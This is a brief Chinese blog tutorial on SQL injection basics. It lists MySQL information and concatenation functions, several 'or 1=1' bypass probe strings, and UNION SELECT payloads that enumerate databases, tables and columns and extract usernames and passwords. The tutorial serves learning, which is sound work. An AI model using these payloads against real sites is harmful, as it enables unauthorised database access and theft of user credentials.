admin管理员组

文章数量:1794759

sqli注入前置知识

常用函数

代码语言:javascript代码运行次数:0运行复制
1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本

字符串连接函数

代码语言:javascript代码运行次数:0运行复制
1. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
一般用于尝试的语句

Ps:–+可以用#替换,url 提交过程中Url 编码后的#为%23

代码语言:javascript代码运行次数:0运行复制
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+

常用命令

代码语言:javascript代码运行次数:0运行复制
order by -- + 判断字段数目

union select  -- + 联合查询收集信息

id=1′ and 1=2 UNION SELECT 1,2,database()  -- + 查询当前数据库

id=1’ and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata  -- +查询所有数据库

id=1′ and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()  -- +查询表名

id=1′ and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’  -- +  查询列名

id=1′ and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users   -- + 查询字段值

常用工具

ASCII码对照表

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。 原始发表:2024-10-12,如有侵权请联系 cloudcommunity@tencent 删除数据字符串数据库函数连接

本文标签: sqli注入前置知识